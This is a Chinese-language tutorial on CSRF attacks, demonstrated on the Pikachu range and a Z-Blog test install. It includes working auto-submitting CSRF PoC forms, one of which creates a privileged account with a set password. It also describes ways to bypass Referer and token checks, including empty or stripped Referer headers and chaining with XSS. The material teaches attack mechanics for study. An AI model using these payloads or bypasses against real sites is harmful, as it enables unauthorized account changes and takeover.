主页 > 电脑硬件  > 

CSRF漏洞原理演示基本绕过(同源异源)配合XSSToken值校验复用删除

CSRF漏洞原理演示基本绕过(同源异源)配合XSSToken值校验复用删除
前言

CSRF的基本原理  就是 举例 我们伪造一个支付宝的转账请求(抓包获取的),受害者 : 正好登录着支付宝(后台)的   同时点击了我们伪造的(包含恶意请求)网址  从而导致先我们进行转账

条件: 1、需要伪造的数据包 2、无过滤防护 3、受害者需要触发(诱惑)

演示

条件 :有条件的可以 申请2个服务器   不行就使用同一局域网下的2个电脑(一个搭建CMS   一个搭建攻击网站)

抓包构造  poc

创建一个  add.html   把生成的 poc  复制到里面(记得勾选  自动点击  不然就需要用户自己点击才能 进行跳转)

<html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <form action="http://121.199.174.104/vul/csrf/csrfget/csrf_get_edit.php"> <input type="hidden" name="sex" value="girl" /> <input type="hidden" name="phonenum" value="88888888" /> <input type="hidden" name="add" value="usa" /> <input type="hidden" name="email" value="lucy&#64;pikachu&#46;com" /> <input type="hidden" name="submit" value="submit" /> <input type="submit" value="Submit request" /> </form> <script> history.pushState('', '', '/'); document.forms[0].submit(); </script> </body> </html>

搭建靶场   把恶意的请求放到网站目录 

恶意的网站页面 

当我们直接进行访问时(需要后台登录过 pikachu 后台  不然没有cookie验证也是进不去的)

点击跳转  发现手机号被修改了    这个就是防护的CSRF的修改   发现这种跨站是非常危险的

CSRF的基本绕过

一般就是网站会设置   获取refer头信息从而来判断是否要拒绝你的访问(获取referer头的方法)

网站是怎么进行waf的 : 

<?php // 定义一个变量,用于存放flag $flag = 123456; $refer = $_SERVER['HTTP_REFERER']; // 获取HTTP_REFERER 获取referer头部 echo $refer; // 输出referer头部 if ($refer == "http://xiaodi8 ") { // 判断referer是否为xiaodi8 echo $flag; // 输出flag }else{ echo "非法访问"; // 输出非法访问 }

在网站目录下新建一个 php文件储存上边这个 代码   我们使用 本机去访问

访问发现出现了  非法访问没有出现flag  

抓个包  修改refer头   这个时候就可以访问成功了

2个点  :  我们要修改的referer头  是一一对应的 :  解决方法 : 结合文件上传(把恶意代码的html文件上传到网站上) 让受害者主动访问 目标网站

结合 XXS  这个网站上有XXS  我们可以构造一个  重定向的一个payload  然后让其使用他的本地正确的网站进行

我们要修改的是模糊匹配的(有这个地址就行):这个的玩法 就是在你的请求服务器上把这个数据包的伪造请求放到 受害者地址的目录下(这个目录需要手动的创建)   这个也是需要一个条件就是  需要是 受害者点击进行的

实战 利用z-blog

zblog的搭建 直接使用小皮面板放到网站目录下

密码是  Abc123456  

抓取请求包

生成  CSRF的poc   我们把这个代码粘贴到  add.html  内

<html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <form action="http://121.199.174.104/zb_system/cmd.php?act=MemberPst&csrfToken=19a6ce97294a905a4c37f883ed6bc9d0" method="POST"> <input type="hidden" name="ID" value="0" /> <input type="hidden" name="Level" value="6" /> <input type="hidden" name="Status" value="0" /> <input type="hidden" name="Name" value="�&#174;&#191;�&#174;&#162;" /> <input type="hidden" name="Password" value="Abc123456" /> <input type="hidden" name="PasswordRe" value="Abc123456" /> <input type="hidden" name="Alias" value="" /> <input type="hidden" name="Email" value="1111&#64;qq&#46;com" /> <input type="hidden" name="HomePage" value="" /> <input type="hidden" name="Intro" value="" /> <input type="hidden" name="Template" value="index" /> <input type="submit" value="Submit request" /> </form> <script> history.pushState('', '', '/'); document.forms[0].submit(); </script> </body> </html>

复制完成之后  记得把burp内的包给丢弃  

这个是没进行修改的

我们访问  add.html

发现是非法访问的  我们审查一下  zblog的源代码

http://121.199.174.104/zb_system/cmd.php?act=MemberPst&csrfToken=19a6ce97294a905a4c37f883ed6bc9d0

这个是路径  发现是在cmd.php

这边我们  试一下修改 referer 头试试是否可以直接绕过  

修改referer头为网站自身的   

发现是修改成功的  但是这个名字有点问题   

当然除了这些还有个就是无referer的逻辑

1、空 referer: 直接把referer=   后边的值删除

2、置空  :   在我们伪造的请求poc中的开头加入<meta name="referrer" content="no-referrer">

即可利用  

逻辑的原理 : 我们看直接查看 zblog的源码

置空的逻辑(如果没有referer 就会返回true)就是  利用的我们退出当前页面之后  如果想再次返回的时候因为浏览器储存这cookie  所以会直接进入 但是这个二次进入是没有来源的就是没有referer

CSRF的token防护 

从上边的那个url请求我们可以看出来  这个后边有个csrftoken=xxxxxx的  其实这个token

一般情况是绕过不了的

第二种防护机制  CSRF   token防护  : 特点就是 token具有唯一性和随机性     我们每访问一次界面就会有一个token随机(token 是在退出重进为一次单位)

正常的token  我们访问一次就会刷新一次 

置空

删除

复用

在CSRF中的作用还是比较有限的是因为 复用的一般是受害者登录的token

口诀 : 发现token  上边三个都没用 准备跑路

标签:

CSRF漏洞原理演示基本绕过(同源异源)配合XSSToken值校验复用删除由讯客互联电脑硬件栏目发布,感谢您对讯客互联的认可,以及对我们原创作品以及文章的青睐,非常欢迎各位朋友分享到个人网站或者朋友圈,但转载请说明文章出处“CSRF漏洞原理演示基本绕过(同源异源)配合XSSToken值校验复用删除